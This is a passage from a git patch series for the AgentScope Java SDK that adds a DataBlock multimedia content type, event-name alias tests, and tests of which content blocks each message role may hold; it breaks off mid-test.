b/agentscope-core/src/test/java/io/agentscope/core/msg/MsgTests.java @@ -15,9 +15,9 @@ */ package io.agentscope.core.msg; -import io.agentscope.core.message.ContentBlock; import io.agentscope.core.message.Msg; import io.agentscope.core.message.MsgRole; +import io.agentscope.core.message.TextBlock; import java.util.Map; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; @@ -30,7 +30,7 @@ void testConstructor() { Msg.builder() .name("test") .role(MsgRole.SYSTEM) - .content(new ContentBlock()) + .content(TextBlock.builder().text("hello").build()) .timestamp(String.valueOf(System.currentTimeMillis())) .metadata(Map.of("key", "value")) .build(); diff --git a/agentscope-core/src/test/java/io/agentscope/core/tool/ToolValidatorTest.java b/agentscope-core/src/test/java/io/agentscope/core/tool/ToolValidatorTest.java index 2bc521ff1..5d7c186cb 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/tool/ToolValidatorTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/tool/ToolValidatorTest.java @@ -813,7 +813,7 @@ void testMatchingToolResults() { "tool-2", "fetch", TextBlock.builder().text("result2").build()); Msg userMsg = - Msg.builder().role(MsgRole.USER).content(List.of(result1, result2)).build(); + Msg.builder().role(MsgRole.TOOL).content(List.of(result1, result2)).build(); assertDoesNotThrow( () -> ToolValidator.validateToolResultMatch(assistantMsg, List.of(userMsg))); @@ -846,7 +846,7 @@ void testMissingToolResults() { ToolResultBlock.of( "tool-1", "search", TextBlock.builder().text("result1").build()); - Msg userMsg = Msg.builder().role(MsgRole.USER).content(result1).build(); + Msg userMsg = Msg.builder().role(MsgRole.TOOL).content(result1).build(); IllegalStateException exception = assertThrows( @@ -888,8 +888,8 @@ void testToolResultsAcrossMultipleMessages() { ToolResultBlock.of( "tool-2", "fetch", TextBlock.builder().text("result2").build()); - Msg userMsg1 = Msg.builder().role(MsgRole.USER).content(result1).build(); - Msg userMsg2 = Msg.builder().role(MsgRole.USER).content(result2).build(); + Msg userMsg1 = Msg.builder().role(MsgRole.TOOL).content(result1).build(); + Msg userMsg2 = Msg.builder().role(MsgRole.TOOL).content(result2).build(); assertDoesNotThrow( () -> From 93228c118e6480e11be755b68b546de00da92f2c Mon Sep 17 00:00:00 2001 From: Chickenlj Date: Mon, 25 May 2026 11:27:23 +0800 Subject: [PATCH 7/9] feat(message): introduce DataBlock and AgentEventStream tests for multimedia handling --- .../io/agentscope/core/message/DataBlock.java | 158 +++++++ .../core/event/AgentEventStreamTest.java | 243 +++++++++++ .../core/message/DataBlockTest.java | 141 ++++++ .../message/RoleContentValidationTest.java | 412 ++++++++++++++++++ 4 files changed, 954 insertions(+) create mode 100644 agentscope-core/src/main/java/io/agentscope/core/message/DataBlock.java create mode 100644 agentscope-core/src/test/java/io/agentscope/core/event/AgentEventStreamTest.java create mode 100644 agentscope-core/src/test/java/io/agentscope/core/message/DataBlockTest.java create mode 100644 agentscope-core/src/test/java/io/agentscope/core/message/RoleContentValidationTest.java diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/DataBlock.java b/agentscope-core/src/main/java/io/agentscope/core/message/DataBlock.java new file mode 100644 index 000000000..083460cf4 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/message/DataBlock.java @@ -0,0 +1,158 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.message; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; +import java.util.Objects; +import java.util.UUID; + +/** + * Unified data block for arbitrary binary media (image / audio / video / file). + * + *

    Mirrors Python {@code agentscope.message.DataBlock} (v2_dev). Unlike the + * legacy {@link ImageBlock}, {@link AudioBlock}, {@link VideoBlock} subclasses + * — which the Java SDK retains for back-compat — {@code DataBlock} is the + * forward-looking polymorphic container the Python SDK now emits for every + * binary modality. New code should prefer {@code DataBlock} over the legacy + * subclasses; the legacy types stay around as valid {@link MsgRole#USER} + * payloads to keep existing pipelines working. + * + *

    Stage 1 of the 2.0 alignment introduces this type; Stage 11 will mark + * the legacy image/audio/video blocks as deprecated. + */ +@JsonInclude(JsonInclude.Include.NON_NULL) +public final class DataBlock extends ContentBlock { + + private final Source source; + + private final String id; + + private final String name; + + /** + * Creates a new data block for JSON deserialization. + * + * @param source The data source (URL or Base64); required + * @param id Stable identifier; if null, a fresh UUID hex is generated to + * mirror Python {@code Field(default_factory=lambda: uuid.uuid4().hex)} + * @param name Optional human-readable name (e.g. file name); may be null + * @throws NullPointerException if source is null + */ + @JsonCreator + private DataBlock( + @JsonProperty("source") Source source, + @JsonProperty("id") String id, + @JsonProperty("name") String name) { + this.source = Objects.requireNonNull(source, "source cannot be null"); + this.id = + (id != null && !id.isEmpty()) ? id : UUID.randomUUID().toString().replace("-", ""); + this.name = name; + } + + /** + * Gets the source of this data block. + * + * @return The data source containing URL or Base64 data + */ + public Source getSource() { + return source; + } + + /** + * Gets the identifier of this data block. + * + * @return The block id; never null + */ + public String getId() { + return id; + } + + /** + * Gets the optional name of this data block. + * + * @return The block name, or null if not set + */ + public String getName() { + return name; + } + + /** + * Creates a new builder for constructing DataBlock instances. + * + * @return A new builder instance + */ + public static Builder builder() { + return new Builder(); + } + + /** + * Builder for constructing DataBlock instances. + */ + public static class Builder { + + private Source source; + + private String id; + + private String name; + + /** + * Sets the source for the data block. + * + * @param source The data source (URL or Base64) + * @return This builder for chaining + */ + public Builder source(Source source) { + this.source = source; + return this; + } + + /** + * Sets the identifier for the data block. If left unset, a fresh UUID + * is generated at {@link #build()} time. + * + * @param id The stable id + * @return This builder for chaining + */ + public Builder id(String id) { + this.id = id; + return this; + } + + /** + * Sets the optional name for the data block. + * + * @param name The block name (e.g. file name) + * @return This builder for chaining + */ + public Builder name(String name) { + this.name = name; + return this; + } + + /** + * Builds a new DataBlock with the configured fields. + * + * @return A new DataBlock instance + * @throws NullPointerException if source is null + */ + public DataBlock build() { + return new DataBlock(source, id, name); + } + } +} diff --git a/agentscope-core/src/test/java/io/agentscope/core/event/AgentEventStreamTest.java b/agentscope-core/src/test/java/io/agentscope/core/event/AgentEventStreamTest.java new file mode 100644 index 000000000..1ccb1d08c --- /dev/null +++ b/agentscope-core/src/test/java/io/agentscope/core/event/AgentEventStreamTest.java @@ -0,0 +1,243 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; + +/** + * Contract tests for {@link AgentEventType} and the event-stream emitted by + * {@code ReActAgent.replyStream(...)}. + * + *

    The {@link JsonAliasRoundTrip} suite runs today — it exercises the + * Python-name aliases wired up in Stage 0.1 (see + * {@code docs/v2-design/RFC-000-event-naming.md}). + * + *

    The {@link StreamOrdering} suite is {@link Disabled} until Stage 7 + * finishes the Agent re-design. It documents the canonical event sequence so + * Stage 7 can drop in assertions without re-deriving it. + */ +class AgentEventStreamTest { + + @Nested + @DisplayName("Python ↔ Java event-name aliases round-trip via Jackson") + class JsonAliasRoundTrip { + + private final ObjectMapper mapper = new ObjectMapper(); + + @Test + @DisplayName("RUN_STARTED deserializes to REPLY_START and re-serializes as REPLY_START") + void runStartedAlias() throws Exception { + AgentEventType parsed = mapper.readValue("\"RUN_STARTED\"", AgentEventType.class); + assertEquals(AgentEventType.REPLY_START, parsed); + assertEquals("\"REPLY_START\"", mapper.writeValueAsString(parsed)); + } + + @Test + @DisplayName("RUN_FINISHED → REPLY_END") + void runFinishedAlias() throws Exception { + AgentEventType parsed = mapper.readValue("\"RUN_FINISHED\"", AgentEventType.class); + assertEquals(AgentEventType.REPLY_END, parsed); + assertEquals("\"REPLY_END\"", mapper.writeValueAsString(parsed)); + } + + @Test + @DisplayName("MODEL_CALL_STARTED / MODEL_CALL_ENDED aliases") + void modelCallAliases() throws Exception { + assertEquals( + AgentEventType.MODEL_CALL_START, + mapper.readValue("\"MODEL_CALL_STARTED\"", AgentEventType.class)); + assertEquals( + AgentEventType.MODEL_CALL_END, + mapper.readValue("\"MODEL_CALL_ENDED\"", AgentEventType.class)); + } + + @Test + @DisplayName("BINARY_BLOCK_* aliases map to DATA_BLOCK_*") + void binaryBlockAliases() throws Exception { + assertEquals( + AgentEventType.DATA_BLOCK_START, + mapper.readValue("\"BINARY_BLOCK_START\"", AgentEventType.class)); + assertEquals( + AgentEventType.DATA_BLOCK_DELTA, + mapper.readValue("\"BINARY_BLOCK_DELTA\"", AgentEventType.class)); + assertEquals( + AgentEventType.DATA_BLOCK_END, + mapper.readValue("\"BINARY_BLOCK_END\"", AgentEventType.class)); + } + + @Test + @DisplayName("TOOL_RESULT_BINARY_DELTA → TOOL_RESULT_DATA_DELTA") + void toolResultBinaryDeltaAlias() throws Exception { + assertEquals( + AgentEventType.TOOL_RESULT_DATA_DELTA, + mapper.readValue("\"TOOL_RESULT_BINARY_DELTA\"", AgentEventType.class)); + } + + @Test + @DisplayName("Java-native names round-trip unchanged") + void javaNativeNamesRoundTrip() throws Exception { + for (AgentEventType type : AgentEventType.values()) { + String json = mapper.writeValueAsString(type); + assertEquals("\"" + type.getValue() + "\"", json); + assertEquals(type, mapper.readValue(json, AgentEventType.class)); + } + } + + @Test + @DisplayName("fromValue rejects unknown strings") + void fromValueRejectsUnknown() { + IllegalArgumentException ex = + assertThrows( + IllegalArgumentException.class, + () -> AgentEventType.fromValue("NOT_A_TYPE")); + assertTrue(ex.getMessage().contains("Unknown AgentEventType value")); + } + + @Test + @DisplayName("fromValue rejects null") + void fromValueRejectsNull() { + assertThrows(IllegalArgumentException.class, () -> AgentEventType.fromValue(null)); + } + } + + @Nested + @DisplayName("AgentEventType enumeration covers Python v2_dev surface") + class EnumCoverage { + + @Test + @DisplayName("All 25 Python EventType values resolve to a Java enum constant") + void allPythonValuesResolve() { + // Python agentscope.event.EventType (v2_dev) values: + String[] pythonValues = { + "RUN_STARTED", + "RUN_FINISHED", + "MODEL_CALL_STARTED", + "MODEL_CALL_ENDED", + "TEXT_BLOCK_START", + "TEXT_BLOCK_DELTA", + "TEXT_BLOCK_END", + "THINKING_BLOCK_START", + "THINKING_BLOCK_DELTA", + "THINKING_BLOCK_END", + "BINARY_BLOCK_START", + "BINARY_BLOCK_DELTA", + "BINARY_BLOCK_END", + "TOOL_CALL_START", + "TOOL_CALL_DELTA", + "TOOL_CALL_END", + "TOOL_RESULT_START", + "TOOL_RESULT_TEXT_DELTA", + "TOOL_RESULT_BINARY_DELTA", + "TOOL_RESULT_END", + "EXCEED_MAX_ITERS", + "REQUIRE_USER_CONFIRM", + "REQUIRE_EXTERNAL_EXECUTION", + "USER_CONFIRM_RESULT", + "EXTERNAL_EXECUTION_RESULT", + }; + for (String name : pythonValues) { + AgentEventType resolved = AgentEventType.fromValue(name); + assertNotNull(resolved, "Python EventType." + name + " must resolve"); + } + } + } + + @Nested + @DisplayName("replyStream emits the canonical event order") + @Disabled("Stage 7 lands the new Agent main class; this suite locks the stream contract.") + class StreamOrdering { + + @Test + @DisplayName( + "Single-iteration reply: REPLY_START → MODEL_CALL_* → TEXT_BLOCK_* → REPLY_END") + void singleIterationOrder() { + // GIVEN Agent.builder().model(...).build() + // AND user message "hello" + // WHEN agent.replyStream(userMsg).collectList().block() + // THEN emitted event types in order are: + // REPLY_START, + // MODEL_CALL_START, MODEL_CALL_END, + // TEXT_BLOCK_START, TEXT_BLOCK_DELTA(*), TEXT_BLOCK_END, + // REPLY_END + } + + @Test + @DisplayName("Thinking model emits THINKING_BLOCK_* before TEXT_BLOCK_*") + void thinkingBeforeText() { + // GIVEN a thinking-capable model + // WHEN agent.replyStream(userMsg) + // THEN THINKING_BLOCK_START/DELTA/END precede TEXT_BLOCK_START + } + + @Test + @DisplayName("Tool call cycle: TOOL_CALL_* → TOOL_RESULT_* → second MODEL_CALL_*") + void toolCallCycle() { + // GIVEN tool-enabled agent + user prompt that triggers a tool + // WHEN replyStream(...) + // THEN ordering contains: + // MODEL_CALL_START, MODEL_CALL_END, + // TOOL_CALL_START, TOOL_CALL_DELTA(*), TOOL_CALL_END, + // TOOL_RESULT_START, TOOL_RESULT_TEXT_DELTA(*), TOOL_RESULT_END, + // MODEL_CALL_START, MODEL_CALL_END, + // TEXT_BLOCK_*, REPLY_END + } + + @Test + @DisplayName( + "HITL: TOOL_CALL_END → REQUIRE_USER_CONFIRM → (await sink) → USER_CONFIRM_RESULT →" + + " TOOL_RESULT_*") + void hitlReentry() { + // GIVEN tool with checkPermissions returning ASK + // AND HitlContextKey.KEY bound to a Sinks.Many + // WHEN replyStream(...) + // THEN REQUIRE_USER_CONFIRM emitted; stream pauses + // WHEN sink.tryEmitNext(allow) + // THEN USER_CONFIRM_RESULT emitted, followed by TOOL_RESULT_* + // See docs/v2-design/RFC-002-event-stream-hitl.md + } + + @Test + @DisplayName("DataBlock turn: DATA_BLOCK_* fired for image/audio/video output") + void dataBlockEmission() { + // GIVEN model returning an image block + // WHEN replyStream(...) + // THEN DATA_BLOCK_START, DATA_BLOCK_DELTA(*), DATA_BLOCK_END emitted in order + } + + @Test + @DisplayName("Max-iters guard emits EXCEED_MAX_ITERS before REPLY_END") + void exceedMaxIters() { + // GIVEN agent with maxIters=1 and a model that keeps requesting tools + // WHEN replyStream(...) + // THEN EXCEED_MAX_ITERS emitted, then REPLY_END + } + + @Test + @DisplayName("Every stream begins with REPLY_START and ends with REPLY_END") + void streamBoundaries() { + // FOR ANY reply: first event is REPLY_START, last is REPLY_END + } + } +} diff --git a/agentscope-core/src/test/java/io/agentscope/core/message/DataBlockTest.java b/agentscope-core/src/test/java/io/agentscope/core/message/DataBlockTest.java new file mode 100644 index 000000000..0c7624a4e --- /dev/null +++ b/agentscope-core/src/test/java/io/agentscope/core/message/DataBlockTest.java @@ -0,0 +1,141 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.message; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertInstanceOf; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +/** + * Behaviour spec for {@link DataBlock} — the unified Python 2.0 multimedia + * container that replaces the legacy image/audio/video subclasses. + */ +class DataBlockTest { + + private final ObjectMapper mapper = new ObjectMapper(); + + @Test + @DisplayName("Builder constructs a DataBlock with URLSource") + void testBuildWithUrlSource() { + URLSource src = URLSource.builder().url("https://example.com/cat.png").build(); + DataBlock block = DataBlock.builder().source(src).name("cat.png").build(); + + assertInstanceOf(URLSource.class, block.getSource()); + assertEquals("https://example.com/cat.png", ((URLSource) block.getSource()).getUrl()); + assertEquals("cat.png", block.getName()); + assertNotNull(block.getId()); + assertFalse(block.getId().isEmpty()); + } + + @Test + @DisplayName("Builder constructs a DataBlock with Base64Source") + void testBuildWithBase64Source() { + Base64Source src = + Base64Source.builder().mediaType("image/png").data("iVBORw0KGgo=").build(); + DataBlock block = DataBlock.builder().source(src).id("fixed-id").build(); + + assertInstanceOf(Base64Source.class, block.getSource()); + assertEquals("image/png", ((Base64Source) block.getSource()).getMediaType()); + assertEquals("iVBORw0KGgo=", ((Base64Source) block.getSource()).getData()); + assertEquals("fixed-id", block.getId()); + assertNull(block.getName()); + } + + @Test + @DisplayName("JSON round-trip preserves source/id/name and emits type=\"data\"") + void testJsonRoundTrip() throws Exception { + DataBlock original = + DataBlock.builder() + .source(URLSource.builder().url("https://example.com/x.mp3").build()) + .id("abc123") + .name("x.mp3") + .build(); + + String json = mapper.writeValueAsString(original); + assertTrue(json.contains("\"type\":\"data\""), "missing type discriminator: " + json); + assertTrue(json.contains("\"id\":\"abc123\"")); + assertTrue(json.contains("\"name\":\"x.mp3\"")); + + DataBlock parsed = mapper.readValue(json, DataBlock.class); + assertEquals("abc123", parsed.getId()); + assertEquals("x.mp3", parsed.getName()); + assertInstanceOf(URLSource.class, parsed.getSource()); + assertEquals("https://example.com/x.mp3", ((URLSource) parsed.getSource()).getUrl()); + } + + @Test + @DisplayName("ContentBlock polymorphic deserialization resolves type=\"data\" to DataBlock") + void testJsonDeserializationViaContentBlock() throws Exception { + String json = + "{\"type\":\"data\"," + + "\"source\":{\"type\":\"url\",\"url\":\"https://example.com/v.mp4\"}," + + "\"id\":\"vid-1\",\"name\":\"v.mp4\"}"; + ContentBlock block = mapper.readValue(json, ContentBlock.class); + + assertInstanceOf(DataBlock.class, block); + DataBlock data = (DataBlock) block; + assertEquals("vid-1", data.getId()); + assertEquals("v.mp4", data.getName()); + } + + @Test + @DisplayName("id is auto-generated when omitted") + void testIdAutoGenerated() { + DataBlock a = + DataBlock.builder() + .source(URLSource.builder().url("https://example.com/a").build()) + .build(); + DataBlock b = + DataBlock.builder() + .source(URLSource.builder().url("https://example.com/b").build()) + .build(); + + assertNotNull(a.getId()); + assertNotNull(b.getId()); + assertFalse(a.getId().isEmpty()); + assertFalse(b.getId().isEmpty()); + // Two independent blocks must not share an id. + assertFalse(a.getId().equals(b.getId()), "auto-generated ids should be unique"); + } + + @Test + @DisplayName("name is optional — null name is preserved and omitted from JSON") + void testNameIsOptional() throws Exception { + DataBlock block = + DataBlock.builder() + .source(URLSource.builder().url("https://example.com/x.png").build()) + .build(); + + assertNull(block.getName()); + String json = mapper.writeValueAsString(block); + // @JsonInclude(NON_NULL) on the class should suppress null name from output. + assertFalse(json.contains("\"name\""), "expected no name field in JSON, got: " + json); + } + + @Test + @DisplayName("Null source is rejected at construction time") + void testNullSourceRejected() { + assertThrows(NullPointerException.class, () -> DataBlock.builder().name("x").build()); + } +} diff --git a/agentscope-core/src/test/java/io/agentscope/core/message/RoleContentValidationTest.java b/agentscope-core/src/test/java/io/agentscope/core/message/RoleContentValidationTest.java new file mode 100644 index 000000000..468f5adb9 --- /dev/null +++ b/agentscope-core/src/test/java/io/agentscope/core/message/RoleContentValidationTest.java @@ -0,0 +1,412 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.message; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import com.fasterxml.jackson.databind.JsonMappingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.util.List; +import java.util.Map; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; + +/** + * Behaviour spec for {@code Msg#validateRoleContent()}, mirroring Python + * {@code agentscope.message._msg.Msg.validate_role_content} (v2_dev) with the + * two Java-specific carve-outs decided in Stage 1: + * + *

      + *
    • {@link MsgRole#USER} accepts the unified {@link DataBlock} and + * the legacy {@link ImageBlock} / {@link AudioBlock} / {@link VideoBlock} + * subclasses (Python only has DataBlock, but the Java SDK keeps the + * legacy types for back-compat through Stage 11).
      • + *
    • {@link MsgRole#TOOL} is Java-only — Python has no TOOL role. Treated + * as unrestricted (same as assistant) to avoid cascading changes across + * the 27 formatter/converter call sites that already build TOOL + * messages with arbitrary block lists.
      • + *
    + * + *

    Matrix actually enforced: + * + * + * + * + * + * + * + * + *
    Role × block compatibility
    RoleAllowed blocks
    {@code USER}{@link TextBlock}, {@link DataBlock}, {@link ImageBlock}, {@link AudioBlock}, {@link VideoBlock}
    {@code ASSISTANT}any (no restriction — matches Python assistant)
    {@code SYSTEM}{@link TextBlock} only
    {@code TOOL}any (Java back-compat carve-out)
    + */ +class RoleContentValidationTest { + + private static TextBlock text() { + return TextBlock.builder().text("hello").build(); + } + + private static DataBlock data() { + return DataBlock.builder() + .source(URLSource.builder().url("https://example.com/x.png").build()) + .name("x.png") + .build(); + } + + private static ImageBlock image() { + return ImageBlock.builder() + .source(URLSource.builder().url("https://example.com/x.png").build()) + .build(); + } + + private static AudioBlock audio() { + return new AudioBlock(URLSource.builder().url("https://example.com/x.mp3").build()); + } + + private static VideoBlock video() { + return new VideoBlock(URLSource.builder().url("https://example.com/x.mp4").build()); + } + + private static HintBlock hint() { + return new HintBlock("hint-1", "consider X"); + } + + private static ThinkingBlock thinking() { + return ThinkingBlock.builder().thinking("reasoning...").build(); + } + + private static ToolUseBlock toolUse() { + return new ToolUseBlock("call-1", "search", Map.of("q", "kittens")); + } + + private static ToolResultBlock toolResult() { + return ToolResultBlock.of("call-1", "search", text()); + } + + @Nested + @DisplayName("USER role: text and data (incl. legacy image/audio/video) only") + class UserRole { + + @Test + @DisplayName("USER + TextBlock is valid") + void userAcceptsText() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.USER).content(List.of(text())).build()); + } + + @Test + @DisplayName("USER + DataBlock is valid") + void userAcceptsData() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.USER).content(List.of(data())).build()); + } + + @Test + @DisplayName("USER + legacy ImageBlock is valid") + void userAcceptsImage() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.USER).content(List.of(image())).build()); + } + + @Test + @DisplayName("USER + legacy AudioBlock is valid") + void userAcceptsAudio() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.USER).content(List.of(audio())).build()); + } + + @Test + @DisplayName("USER + legacy VideoBlock is valid") + void userAcceptsVideo() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.USER).content(List.of(video())).build()); + } + + @Test + @DisplayName("USER + HintBlock is rejected") + void userRejectsHint() { + IllegalArgumentException ex = + assertThrows( + IllegalArgumentException.class, + () -> + Msg.builder() + .role(MsgRole.USER) + .content(List.of(hint())) + .build()); + assertTrue(ex.getMessage().contains("HintBlock")); + } + + @Test + @DisplayName("USER + ThinkingBlock is rejected") + void userRejectsThinking() { + IllegalArgumentException ex = + assertThrows( + IllegalArgumentException.class, + () -> + Msg.builder() + .role(MsgRole.USER) + .content(List.of(thinking())) + .build()); + assertTrue(ex.getMessage().contains("ThinkingBlock")); + } + + @Test + @DisplayName("USER + ToolUseBlock is rejected") + void userRejectsToolUse() { + IllegalArgumentException ex = + assertThrows( + IllegalArgumentException.class, + () -> + Msg.builder() + .role(MsgRole.USER) + .content(List.of(toolUse())) + .build()); + assertTrue(ex.getMessage().contains("ToolUseBlock")); + } + + @Test + @DisplayName("USER + ToolResultBlock is rejected") + void userRejectsToolResult() { + IllegalArgumentException ex = + assertThrows( + IllegalArgumentException.class, + () -> + Msg.builder() + .role(MsgRole.USER) + .content(List.of(toolResult())) + .build()); + assertTrue(ex.getMessage().contains("ToolResultBlock")); + } + } + + @Nested + @DisplayName("ASSISTANT role: unrestricted (matches Python)") + class AssistantRole { + + @Test + @DisplayName("ASSISTANT + TextBlock is valid") + void assistantAcceptsText() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.ASSISTANT).content(List.of(text())).build()); + } + + @Test + @DisplayName("ASSISTANT + HintBlock is valid") + void assistantAcceptsHint() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.ASSISTANT).content(List.of(hint())).build()); + } + + @Test + @DisplayName("ASSISTANT + ThinkingBlock is valid") + void assistantAcceptsThinking() { + assertDoesNotThrow( + () -> + Msg.builder() + .role(MsgRole.ASSISTANT) + .content(List.of(thinking())) + .build()); + } + + @Test + @DisplayName("ASSISTANT + DataBlock is valid") + void assistantAcceptsData() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.ASSISTANT).content(List.of(data())).build()); + } + + @Test + @DisplayName("ASSISTANT + ToolUseBlock is valid") + void assistantAcceptsToolUse() { + assertDoesNotThrow( + () -> + Msg.builder() + .role(MsgRole.ASSISTANT) + .content(List.of(toolUse())) + .build()); + } + + @Test + @DisplayName("ASSISTANT mixing thinking + text + tool_use is valid") + void assistantAcceptsMixedReasoningTurn() { + assertDoesNotThrow( + () -> + Msg.builder() + .role(MsgRole.ASSISTANT) + .content(List.of(thinking(), text(), toolUse())) + .build()); + } + + @Test + @DisplayName("ASSISTANT + ToolResultBlock is valid (Python unrestricted)") + void assistantAcceptsToolResult() { + assertDoesNotThrow( + () -> + Msg.builder() + .role(MsgRole.ASSISTANT) + .content(List.of(toolResult())) + .build()); + } + } + + @Nested + @DisplayName("SYSTEM role: text only") + class SystemRole { + + @Test + @DisplayName("SYSTEM + TextBlock is valid") + void systemAcceptsText() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.SYSTEM).content(List.of(text())).build()); + } + + @Test + @DisplayName("SYSTEM + DataBlock is rejected") + void systemRejectsData() { + IllegalArgumentException ex = + assertThrows( + IllegalArgumentException.class, + () -> + Msg.builder() + .role(MsgRole.SYSTEM) + .content(List.of(data())) + .build()); + assertTrue(ex.getMessage().contains("DataBlock")); + } + + @Test + @DisplayName("SYSTEM + ImageBlock is rejected") + void systemRejectsImage() { + assertThrows( + IllegalArgumentException.class, + () -> Msg.builder().role(MsgRole.SYSTEM).content(List.of(image())).build()); + } + + @Test + @DisplayName("SYSTEM + HintBlock is rejected") + void systemRejectsHint() { + assertThrows( + IllegalArgumentException.class, + () -> Msg.builder().role(MsgRole.SYSTEM).content(List.of(hint())).build()); + } + + @Test + @DisplayName("SYSTEM + ThinkingBlock is rejected") + void systemRejectsThinking() { + assertThrows( + IllegalArgumentException.class, + () -> Msg.builder().role(MsgRole.SYSTEM).content(List.of(thinking())).build()); + } + + @Test + @DisplayName("SYSTEM + ToolUseBlock is rejected") + void systemRejectsToolUse() { + assertThrows( + IllegalArgumentException.class, + () -> Msg.builder().role(MsgRole.SYSTEM).content(List.of(toolUse())).build()); + } + } + + @Nested + @DisplayName("TOOL role: unrestricted (Java back-compat carve-out)") + class ToolRole { + + @Test + @DisplayName("TOOL + ToolResultBlock is valid") + void toolAcceptsToolResult() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.TOOL).content(List.of(toolResult())).build()); + } + + @Test + @DisplayName("TOOL + TextBlock is valid (Java back-compat)") + void toolAcceptsText() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.TOOL).content(List.of(text())).build()); + } + + @Test + @DisplayName("TOOL + ToolUseBlock is valid (Java back-compat)") + void toolAcceptsToolUse() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.TOOL).content(List.of(toolUse())).build()); + } + + @Test + @DisplayName("TOOL + DataBlock is valid (Java back-compat)") + void toolAcceptsData() { + assertDoesNotThrow( + () -> Msg.builder().role(MsgRole.TOOL).content(List.of(data())).build()); + } + } + + @Nested + @DisplayName("Edge cases") + class EdgeCases { + + @Test + @DisplayName("Empty content list is allowed for any role") + void emptyContentAlwaysValid() { + for (MsgRole role : MsgRole.values()) { + assertDoesNotThrow( + () -> Msg.builder().role(role).content(List.of()).build(), + "empty content rejected for role " + role); + } + } + + @Test + @DisplayName("Null content is normalised to empty list and accepted") + void nullContentNormalised() { + Msg msg = Msg.builder().role(MsgRole.USER).build(); + assertNotNull(msg.getContent()); + assertEquals(0, msg.getContent().size()); + } + + @Test + @DisplayName("One invalid block in a valid list rejects the whole message") + void singleInvalidBlockRejectsMessage() { + IllegalArgumentException ex = + assertThrows( + IllegalArgumentException.class, + () -> + Msg.builder() + .role(MsgRole.USER) + .content(List.of(text(), hint())) + .build()); + assertTrue(ex.getMessage().contains("HintBlock")); + } + + @Test + @DisplayName("Jackson deserialization runs the same validator") + void deserializationRunsValidator() { + ObjectMapper mapper = new ObjectMapper(); + String json = + "{\"role\":\"system\",\"content\":[{\"type\":\"data\",\"source\":{\"type\":\"url\",\"url\":\"https://example.com/x.png\"}}]}"; + JsonMappingException ex = + assertThrows( + JsonMappingException.class, () -> mapper.readValue(json, Msg.class)); + Throwable cause = 